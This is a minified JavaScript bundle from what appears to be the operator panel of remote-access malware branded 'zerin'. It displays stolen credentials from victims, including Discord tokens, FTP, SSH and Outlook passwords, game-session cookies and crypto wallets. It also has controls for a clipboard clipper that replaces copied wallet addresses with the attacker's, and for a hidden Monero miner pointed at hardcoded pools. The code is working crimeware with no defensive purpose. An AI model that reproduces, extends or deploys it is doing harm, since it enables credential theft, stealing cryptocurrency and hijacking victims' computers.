text-zerin-text-dim",children:X.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:oe=>w(X.token,oe),children:[X.token.slice(0,20),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx(Rn,{title:"Applications",count:((M=i.telegram)!=null&&M.found?1:0)+(((F=i.filezilla)==null?void 0:F.length)??0)+(((U=i.winscp)==null?void 0:U.length)??0)+(((V=i.putty)==null?void 0:V.length)??0)+(((Z=i.outlook)==null?void 0:Z.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?a.jsxs("div",{children:[a.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:X=>w(i.telegram.path,X),children:i.telegram.path})]}),(((ae=i.telegram.files)==null?void 0:ae.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))})]}):a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((ue=i.filezilla)==null?void 0:ue.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((be=i.winscp)==null?void 0:be.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((ye=i.putty)==null?void 0:ye.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:X.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user})]},re))})})]}),(((q=i.outlook)==null?void 0:q.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),!((te=i.telegram)!=null&&te.found)&&!((C=i.filezilla)!=null&&C.length)&&!((Y=i.winscp)!=null&&Y.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx(Rn,{title:"Gaming Sessions",count:((le=i.steam)!=null&&le.found?1:0)+((we=i.epic)!=null&&we.found?1:0)+(((Ne=i.minecraft)==null?void 0:Ne.length)??0)+((Ae=i.roblox)!=null&&Ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[(($=i.steam)==null?void 0:$.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&a.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&a.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(fe=i.steam.ssfn_files)==null?void 0:fe.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))]})]}),((ve=i.epic)==null?void 0:ve.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((H=i.minecraft)==null?void 0:H.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,`${X.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.launcher]},re))})]}),((se=i.roblox)==null?void 0:se.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:X=>w(i.roblox.cookie,X),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?a.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((W=i.steam)!=null&&W.found)&&!((Q=i.epic)!=null&&Q.found)&&!((he=i.minecraft)!=null&&he.length)&&!((E=i.roblox)!=null&&E.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx(Rn,{title:"Crypto Wallets",count:((ce=i.wallets)==null?void 0:ce.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?a.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx(Rn,{title:"VPN Configs",count:((xe=i.vpn)==null?void 0:xe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(ke=i.vpn)!=null&&ke.length?a.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ze=i.errors)==null?void 0:ze.length)??0)>0&&a.jsx(Rn,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((X,re)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[X.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:X.error})]},re))})})]}),v&&a.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r + pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",a.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Rn({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const dV=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],fV={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function $b(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function mV({agentId:e,agentStatus:t}){const[n,r]=m.useState({...fV}),[i,s]=m.useState(!1),[o,l]=m.useState(!1),[c,u]=m.useState(null),[d,f]=m.useState({}),p=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(N=>({...N,[b]:w}));const j=$b(b,w);f(N=>{const k={...N};return j?k[b]=j:delete k[b],k})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=m.useCallback(async()=>{if(p)return;const b={};for(const[w,j]of Object.entries(n))if(j){const N=$b(w,j);N&&(b[w]=N)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,N]of Object.entries(n))N&&(w[j]=N);await Me(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,p]),v=m.useCallback(async()=>{if(!p){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Me(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Me(e,{command:i?"clipper_stop":"clipper_start"}),s(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,p]);return a.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&a.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),a.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),a.jsxs("button",{onClick:v,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),a.jsx("button",{onClick:y,disabled:o||p||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),a.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:dV.map(({key:b,label:w,placeholder:j,color:N})=>a.jsxs("div",{className:"space-y-1",children:[a.jsx("label",{className:`text-xs font-semibold ${N}`,children:w}),a.jsx("input",{type:"text",value:n[b],onChange:k=>x(b,k.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&a.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),a.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[a.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),a.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),a.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),a.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),a.jsx("li",{children:"Config can be updated while running"})]})]})]})}const Bb=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function pV({agentId:e,agentStatus:t}){const[n,r]=m.useState(Bb[0]),[i,s]=m.useState(""),[o,l]=m.useState(""),[c,u]=m.useState(50),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),y=m.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(S,O)=>{h({text:S,type:O}),setTimeout(()=>h(null),5e3)};m.useEffect(()=>{if(!e)return;const S=async()=>{try{const O=await Xn(e),A=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,P)=>new Date(P.created_at).getTime()-new Date(T.created_at).getTime());if(A.length>0){const T=A[0],P=(O.results??[]).find(D=>D.task_id===T.id);if(P!=null&&P.output)try{const D=JSON.parse(P.output);g(D)}catch{}}}catch{}};return S(),y.current=setInterval(S,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Me(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Me(e,{command:"miner_status"})}catch{}},3e3)}catch(S){w(S instanceof Error?S.message:"Failed to start","err")}finally{f(!1)}},N=async()=>{f(!0);try{await Me(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to stop","err")}finally{f(!1)}},k=async()=>{try{await Me(e,{command:"miner_status"}),w("Status request sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to query status","err")}},z=S=>{const O=Math.floor(S/3600),A=Math.floor(S%3600/60),T=Math.floor(S%60);return O>0?`${O}h ${A}m ${T}s`:A>0?`${A}m ${T}s`:`${T}s`};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),b&&x&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),a.jsx("button",{onClick:k,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),a.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[a.jsx(Ca,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),a.jsx(Ca,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),a.jsx(Ca,{label:"Uptime",value:x.uptime!=null?z(x.uptime):"-"}),a.jsx(Ca,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&a.jsx("div",{className:"px-4 pb-3",children:a.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),a.jsx("select",{value:n,onChange:S=>r(S.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:Bb.map(S=>a.jsx("option",{value:S,children:S},S))})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),a.jsx("input",{type:"text",value:i,onChange:S=>s(S.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),a.jsx("input",{type:"text",value:o,onChange:S=>l(S.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:S=>u(Number(S.target.value)),disabled:v||b,className:"w-full accent-amber-500 